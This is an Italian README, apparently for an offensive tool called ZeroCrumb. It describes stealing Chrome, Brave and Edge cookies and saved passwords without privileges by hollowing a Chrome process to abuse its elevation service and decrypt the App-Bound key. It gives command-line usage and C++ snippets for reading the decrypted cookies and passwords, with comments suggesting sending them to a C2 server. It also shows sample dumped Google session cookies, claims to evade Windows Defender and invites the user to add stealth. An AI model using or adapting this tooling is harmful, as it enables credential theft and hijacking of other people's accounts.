
Estrazione di credenziali e cookie protetti da App-Bound senza privilegi.
Estrazione di Credenziali e Cookie Protetti da App Bound Senza Privilegi.
ZeroCrumb bypassa il Chrome Elevation Service impersonando un'istanza di Chrome tramite Transacted Hollowing, consentendoci di fatto di usare l'interfaccia COM IElevator per decrittare la App Bound Key.
Successivamente, il key dumper in esecuzione nell'istanza di Chrome hollowed invierà la chiave decrittata a ZeroCrumb tramite una Named Pipe.
Dopodiché, ZeroCrumb decritta i cookie/le password per il browser specificato con la chiave recuperata in precedenza.
L'uso delle named pipe in ZeroCrumb consente a qualsiasi programma, purché possa usare le API di Windows, di connettersi alla named pipe di ZeroCrumb e leggere da essa la App Bound Key.
Se vuoi usare ZeroCrumb come libreria, dovrai compilare una DLL che esporti una funzione che esegua l'hollowing di Chrome con il key dumper. Potresti anche dover incorporare il PE del key dumper nella sezione .rsrc della DLL compilata e recuperarlo in seguito con le API Windows delle risorse dell'applicazione.
Puoi eseguirlo in qualsiasi directory di tua scelta, purché il key dumper sia nella stessa directory.
ZeroCrumb.exe <BROWSER_TYPE> <DUMP_TYPE>
Browser Types:
Chrome -> 0
Brave -> 1
Edge -> 2
Dump Types:
Cookies
Passwords
ZeroCrumb fornisce classi CookieReader e PasswordReader facili da usare:
auto reader = new CookieReader(cookiesPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::cookies);
reader->populateCookies();
for (auto& cookie : reader->cookies) {
string name = cookie->name;
string site = cookie->site;
string path = cookie->path;
string cookieValue = cookie->cookie;
// dump to file, send back to C2, etc...
}
// keep in mind passwords aren't encrypted using the app bound key (yet)
auto reader = new PasswordReader(passwordsPath.c_str(), key);
reader->initSqliteDb();
reader->prepare(queries::passwords);
reader->populatePasswords();
for (auto& password : reader->passwords) {
auto name = password->name;
auto site = password->site;
auto passwordValue = password->password;
// dump to file, send back to C2, etc...
}
ZeroCrumb richiede due dipendenze Vcpkg:
sqlite3
libsodium
$ ZeroCrumb.exe 0 Cookies
[*] Reading From Pipe...
App Bound Key: 980f8ea8af3299d966a26242.....
============
Name: SIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXxD19T0KLMkrMC-eUXkrnEFi92OXq6rj1vydvmdL73olBVQGRQ4cG_hK5sqPhO1rLd1CM
============
Name: __Secure-1PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzXXC8_MNDlVbAaw512aXu-QJkl0uKNW66rhjeufotzoJhT3OPN5TuCQnfKS8l57_WGfDw
============
Name: __Secure-3PSIDCC
Site: .google.com
Path: /
Cookie: AKEyXzVVySM4FWl9itegCN2evcSmBvGc7_iXHqkKZ6VYPKmR--_LsHx1Aflar6SU4nyJiDaFq028
============
Name: udid
Site: .veepn.com
Path: /
Cookie: 0dd5b8bb-8c5b-47f3-87f9-1db8fa7d885f
============
Puoi modificare ZeroCrumb per farlo funzionare con qualsiasi tipo di credenziale, non solo cookie e password.
Questa non è affatto l'implementazione più stealth di questo bypass: può essere rilevata tramite il controllo di stringhe specifiche, l'hooking delle API, ecc.
Al momento in cui sto testando questo, è riuscito a superare Windows Defender ma non ho controllato altri AV.
Lascerò il compito di rendere il bypass più stealth come esercizio per l'utente, nel caso in cui questa implementazione del bypass venga rilevata tramite firme in futuro.